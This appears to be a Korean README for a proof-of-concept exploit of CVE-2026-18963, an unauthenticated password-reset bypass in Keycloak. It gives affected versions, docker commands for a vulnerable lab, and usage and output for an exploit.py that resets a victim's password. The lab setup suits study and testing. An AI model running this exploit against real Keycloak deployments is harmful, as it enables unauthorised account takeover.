
CVE-2026-18963에 대한 개념 증명 익스플로잇으로, 웹 애플리케이션의 자격 증명 재설정 흐름을 우회하여 인증 없이 계정 탈취가 가능함을 입증합니다.
★ CVE-2026-18963 Keycloak 자격 증명 재설정 흐름 우회 PoC ★
https://github.com/user-attachments/assets/ebed1e64-a40c-4333-be18-9acbadd655b0
CVE-2026-18963은 Keycloak
keycloak-services컴포넌트의 치명적인 인증되지 않은 계정 탈취 취약점입니다(CVSS 9.1). 자격 증명 재설정 인증 상태 머신의 결함으로 인해 원격 공격자가 이메일 인증 단계를 우회하고 재설정 링크 없이도 비밀번호 변경 양식에 접근할 수 있습니다. 알려진 사용자 이름을 대상으로 삼아 공격자는 인증이나 사용자 상호작용 없이 새 비밀번호를 설정하고 피해자의 계정을 장악할 수 있습니다.
취약한 흐름은 자격 증명 선택기 상태를 선택기를 표시한 실행에 바인딩하지 않고 세션 전체 인증 노트로 저장합니다. 따라서 재설정 흐름에 다시 진입하면 다른 실행을 위해 오래된 선택기 상태를 재사용할 수 있습니다. 영향을 받는 버전에서는 재설정 이메일 인증기가 유효한 이메일 액션 토큰을 통해 도달했는지 확인하지 않고 액션을 수락하기도 합니다. 이러한 동작을 연쇄적으로 악용하면 공격자는 곧바로 UPDATE_PASSWORD 단계로 진행할 수 있습니다.
| 분류 | 버전 |
|---|---|
| 취약 | Keycloak 26.0.0 ≤ version < 26.4.15 |
| 취약 | Keycloak 26.5.0 ≤ version < 26.6.6 |
| 취약 | Keycloak 26.7.0 ≤ version < 26.7.2 |
| 패치됨 | 26.4.15, 26.6.6, 26.7.2 (각 릴리스 브랜치) |
이 실습 환경은 Keycloak 26.7.1을 사용합니다.
취약한 Keycloak 26.7.1 환경을 빌드하고 실행합니다. 이미지는 취약한 자격 증명 재설정 흐름이 활성화된 테스트 realm, 미리 생성된 victim 계정, 그리고 보호된 플래그 페이지가 있는 EQST 포털을 가져옵니다.
docker build -t cve-2026-18963 .
docker run --rm -d \
--name cve-2026-18963 \
-p 9105:9105 \
-e PORTAL_PUBLIC_URL=http://127.0.0.1:9105 \
cve-2026-18963
Keycloak이 시작될 때까지 기다린 후 포털을 엽니다:
http://127.0.0.1:9105
| 사전 조건 | 이 실습 환경의 상태 |
|---|---|
| Keycloak | 26.7.1 (취약) |
| Realm | cve-lab |
| 비밀번호 찾기 | 활성화됨 |
| 대상 계정 | victim |
| Keycloak 기본 URL | http://127.0.0.1:9105/keycloak |
포함된 exploit.py는 재설정 흐름 상태 조작을 자동화하고, 이메일 액션 토큰을 소비하지 않고 비밀번호 변경 양식을 요청하며, 피해자의 비밀번호를 변경하고, 새 자격 증명으로 액세스 토큰을 요청하여 탈취를 검증합니다.
Python 의존성을 설치합니다:
python3 -m pip install requests
Keycloak URL, 피해자 사용자 이름, 새 비밀번호를 사용하여 익스플로잇을 실행합니다:
# python3 exploit.py <keycloak-url> <victim> <new-password>
python3 exploit.py \
http://127.0.0.1:9105/keycloak \
victim \
'NewPassword1!'
성공적으로 실행되면 다음과 같이 출력됩니다:
[*] selector note set via tryAnotherWay
[*] victim submitted: victim
[*] update-password form served without an action token
[+] VULNERABLE - victim password is now 'NewPassword1!'
http://127.0.0.1:9105를 열고 LOGIN을 클릭한 후 새 비밀번호로 victim으로 인증하여 계정 탈취를 확인합니다.